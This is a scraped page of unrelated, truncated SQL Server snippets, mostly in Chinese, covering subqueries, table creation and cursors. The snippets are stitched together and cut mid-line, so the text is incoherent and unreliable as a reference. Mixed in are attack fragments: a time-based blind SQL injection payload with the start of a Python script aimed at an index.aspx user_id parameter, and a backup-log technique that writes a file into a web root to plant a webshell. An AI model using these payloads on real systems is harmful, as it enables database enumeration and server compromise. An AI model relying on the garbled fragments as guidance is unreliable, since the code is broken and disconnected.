select '平均成绩', (select AVG(english) from Score) --可以成功执行 select '姓名', (select sName from student) --错误,因为‘姓名’只有一行,而子表中姓名有多行 select * from student where sClassId in(select cid from Class where cName IN('高一一班','高二一班')) --子查询有多值时使用...
if (T_BD_STOCKFLEXITEM != null&& T_BD_STOCKFLEXITEM.Rows.Count>0) { foreach (DataRow item in T_BD_STOCKFLEXITEM.Rows) { string FFLEXNUMBER_SQL = $"SELECT V{item["FFLEXNUMBER"].ToString()}.FNAME FROM T_BAS_FLEXVALUESDETAIL FVD LEFT JOIN T_BAS_FLEXVALUESENTRY_L AS V{item["...
user_id='flag=''foriinrange(1,250):low=32high=128mid=(low+high)//2while(low<high):payload=url+"1;if (ascii(substring((select top 1 name from master.dbo.sysdatabases),%d,1)))>%dWAITFOR DELAY '0:0:2'--"%(i,mid)times=time.time()res=requests.get(url=payload)"""data = {"...
if exists(select * from sysobjects where name='Classes') drop table Classes create table Classes ( Classid int identity(1,1), ClassName nvarchar(50) not null ) if exists(select * from sysobjects where name='teacher') drop table teacher create table Teacher ( Id int identity(1,1),--可以...
if exists(select table_name from inforamtion_schema.tables where table_name='test_tmp')drop table test_tmp;alter mydb set RECOVERY FULL;drop table test_tmp;create table test_tmp(a image);backup log mydb to disk='C:/inetpub/wwwroot/www.demo1.com/asp.bak' with init;insert into test_tmp...
没上限的吧， IN後面也可以跟 （select num from B）,这样的话就是B表里有多少数据就可以查多少
IF @TableName='TABLE-A' OR @ColumnName='COLUMN-A' BEGIN FETCH NEXT FROM tableCursor INTO @TableName, @ColumnName CONTINUE END --判断此表此列是否存在 值 等于 人员A-ID ,如果有替换值 SET @SqlQuery = 'SELECT @aExists=1 FROM ' + QUOTENAME(@TableName) + ' WHERE ' + QUOTENAME(@...
id=1;if (ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1)))>1 WAITFOR DELAY '0:0:2'-- 下面给出时间盲注脚本: 代码语言:javascript 复制 import requests import json import time url = 'http://192.168.2.244/index.aspx?user_id=' flag = '' for i in range(1,250...
create table t(id int)create table s(userlist varchar(100))insert into t values (1)insert into t values (3)insert into s values ('1,2')执行：select * from t where id not in(select SUBSTRING(userlist,number,CHARINDEX(',',userlist+',',number)-number) as userlistfrom...
if isnull(@dbname,'')='' declare tb cursor local for select name from master..sysdatabases where name not in('master','tempdb','model','msdb') else declare tb cursor local for select name from master..sysdatabases where name not in('master','tempdb','model','msdb') and(name like...